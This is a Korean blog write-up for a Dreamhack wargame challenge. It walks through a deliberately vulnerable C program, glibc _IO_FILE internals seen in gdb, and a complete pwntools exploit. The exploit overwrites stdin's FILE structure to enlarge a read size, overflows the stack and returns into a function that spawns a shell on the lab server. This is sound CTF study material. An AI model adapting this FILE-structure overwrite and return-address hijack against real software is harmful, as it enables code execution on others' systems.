문제 소스코드
char buf[80];
int size = 512;
void read_str() {
fgets(buf, sizeof(buf) - 1, stdin);
}
void get_shell() {
system("/bin/sh");
}
void help() {
printf("read: Read a line from the standard input and split it into fields.\n");
}
void read_command(char *s) {
/*No overflow here */
int len;
len = read(0, s, size);
if (s[len - 1] == '\x0a')
s[len - 1] = '\0';
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
char command[512]; // rbp-0x220
long *dst = 0;
long *src = 0;
memset(command, 0, sizeof(command) - 1);
initialize();
while (1) {
printf("# ");
read_command(command);
if (!strcmp(command, "read")) {
read_str();
}
else if (!strcmp(command, "help")) {
help();
}
else if (!strncmp(command, "printf", 6) {
if (strtok(command, " ")) { // first token
src = (long*) strtok(NULL, " "); // second token
dst = (long*) stdin; // _IO_2_1_stdin 주소
if (src) // _IO_FILE overwrite
memcpy(dst, src, 0x40);
}
}
else if (!strcmp(command, "exit")) {
return 0;
}
else {
printf("%s: command not found\n", command);
}
}
return 0;
}
취약점 파악
- strncmp(command, "printf",6) 통과 시 src에 두 번째 token으로 입력한 문자열의 포인터가 저장되고, dst에는 stdin에 담긴 주솟값(_IO_2_1_stdin_)이 저장된다
=> 이후 memcpy에 의해 _IO_FILE을 user input 0x40으로 덮을 수 있다
- fgets(buf, sizeof(buf)-1, stdin) 에서 unintended behavior를 발생시킬 수 있을 듯!
취약점 분석
1. fgets 함수 내부 호출 흐름 살펴보면서 jmp/call 분기 위주로 살펴보았다
#include <stdio.h>
#include <string.h>
int main() {
char buf[256];
printf("test: ");
fgets(buf, sizeof(buf) - 1, stdin);
printf("test: ");
fgets(buf, sizeof(buf) - 1, stdin);
return 0;
}
iofile_aw 바이너리는 alarm(60)이 거슬려 도커 가상환경에서 위와 같은 파일 빌드해서 gdb로 분석해보았다
_flags = 0xfbad2288
fgets -> _IO_getline -> _IO_getline_info -> __uflow 이런 식으로 코드 흐름 가더라
0x7f5c7b5353f8 <__uflow+72> mov rax, qword ptr [rbx + 0xd8]
0x7f5c7b5353ff <__uflow+79> mov rdi, rbx
0x7f5c7b535402 <__uflow+82> pop rbx
0x7f5c7b535403 <__uflow+83> mov rax, qword ptr [rax + 0x28] # _IO_file_jumps + 0x28 에 담긴 값으로 jmp
► 0x7f5c7b535407 <__uflow+87> jmp rax
그러다 발견한 의심스러운 부분
_IO_file_jumps + 0x28 에 담긴 주솟값을 가져와 거기로 jmp한다
struct _IO_FILE_plus
{
FILE file; // _IO_FILE 구조체
const struct _IO_jump_t *vtable; // _IO_file_jumps 구조체 포인터
};
// _IO_FILE 구조체 멤버변수의 offset
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
// 생략
0xd8 vtable
IO_FILE 구조체에서 +0xd8 offset의 vtable 포인터를 조작하면 (vtable+0x28)에 담긴 주소로 rip가 이동할 것
코드 흐름 조작 가능
하 지 만! 우리는 memcpy(src, dest, 0x40) 에 의해 0x40 bytes overwrite 밖에 못한다 ㅠㅠ (_flags ~ _IO_buf_base)
https://dreamhack.io/forum/qna/1312 // 여기서도 별 거 없단다..
2. vtable 이용하는 것이 아닌 임의 주소 쓰기 (arbitrary write)으로 생각
- _fileno=0(stdin) 고정
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
- _IO_buf_base에 값을 읽어들일 주소를 작성하면 되겠다 (fgets도 fread랑 비슷할거라 가정)
문제 조건을 다시 살펴보니 No PIE, No Canary
그리고 전역변수 size가 있으면서 read_command 함수에서 size만큼 read해온다 (심지어 no overflow 주석도 있음ㅋㅋ)
=> size를 엄청 크게 만들고 buffer overflow 후 RET overwrite 하면 되겠다!!
=> command = [rbp-0x220]
exploit 코드
from pwn import *
# p = process("./iofile_aw")
p = remote("host1.dreamhack.games", 18045)
size_addr = 0x602010
buf_addr = 0x602040
getshell = 0x4009fa
NOPgadget = 0x4007d9
pay = p64(0xfbad2288) # flag
pay += p64(0x602010)*7 # _IO_read_ptr ~ _IO_buf_base
p.sendlineafter("# ", b"printf "+pay) # overwrite _IO_FILE
p.sendlineafter("# ", "read")
p.sendline(p64(0x400)) # overwrite size
pay2 = b'A'*0x220 + b'B'*0x8 + p64(NOPgadget) + p64(getshell)
p.sendlineafter("# ", pay2) # BOF
p.sendlineafter("# ", "exit")
p.interactive()
- _IO_buf_base / _flag만 제대로 채우고 나머지 널로 채워도 잘 되더라
- 코드 멀쩡한거 확인했는데 system("/bin/sh") 호출하면서 죽길래 NOP gadget 추가해줬다
system hacking 로드맵 끝~
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] blindsc , randzzz, checkflag (0) | 2024.01.10 |
---|---|
IDA Decompilation failure: call analysis failed 해결법 (0) | 2023.08.06 |
[Dreamhack Wargame] _IO_FILE Arbitrary Address Write (0) | 2023.06.23 |
[Dreamhack Wargame] _IO_FILE Arbitrary Address Read (0) | 2023.06.23 |
[Dreamhack Wargame] send_sig (0) | 2023.06.23 |